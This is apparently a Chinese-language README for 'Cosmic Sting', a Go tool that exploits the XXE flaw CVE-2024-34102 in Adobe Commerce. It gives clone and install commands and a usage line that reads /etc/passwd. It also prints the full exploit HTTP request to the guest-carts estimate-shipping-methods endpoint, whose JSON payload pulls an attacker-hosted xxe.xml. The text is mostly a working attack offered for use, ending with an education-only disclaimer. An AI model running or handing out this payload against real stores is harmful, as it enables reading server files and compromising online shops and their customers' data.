Cosmic Sting 是一个基于 Go 的工具,旨在利用 CVE-2024-34102 远程代码执行漏洞。
Adobe Commerce 2.4.7、2.4.6-p5、2.4.5-p7、2.4.4-p8 及更早版本受到 XML 外部实体引用限制不当('XXE')漏洞的影响,该漏洞可能导致任意代码执行。攻击者可通过发送引用外部实体的特制 XML 文档来利用此漏洞。利用此问题无需用户交互。
克隆仓库:
git clone https://github.com/bughuntar/CVE-2024-34102.git &&
cd CVE-2024-34102
安装依赖项(如果有):
go version &&
go mod init cosmic_sting &&
go get github.com/fatih/color &&
go get github.com/google/uuid &&
go get github.com/urfave/cli/v2
使用单个 URL 运行工具:
go run cosmic_sting.go -u "http://example.com" -f "/etc/passwd"
-u, --url : 要利用的单个 URL。-f, --file : 通过 SSRF 读取的文件。-l, --list : 包含要利用的 URL 列表的文件。POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1
Host: {{hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/json
Content-Length: 187
{"address":{"totalsCollector":{"collectorList":{"totalCollector":{"sourceData":{"data":"https://{{hostedXMLfile.com}}/xxe.xml","dataIsURL":true,"options":1234}}}}}}
本项目未采用任何许可证,仅为个人项目而制作。
欢迎贡献!如需任何更改,请打开 issue 或提交拉取请求。
此工具仅用于教育目的。请负责任地使用它,并且只在你拥有测试权限的系统上使用。
Professor the Hunter --> 在 Twitter 上关注我